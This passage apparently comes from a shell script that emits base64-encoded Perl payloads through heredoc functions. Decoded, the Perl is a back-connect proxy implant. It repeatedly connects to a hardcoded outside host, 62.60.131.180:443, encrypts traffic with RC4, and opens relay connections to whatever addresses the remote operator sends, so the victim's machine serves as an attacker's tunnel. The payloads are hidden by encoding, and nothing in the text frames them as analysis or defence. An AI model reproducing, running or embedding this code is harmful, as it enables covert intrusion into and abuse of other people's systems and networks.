YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_30() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 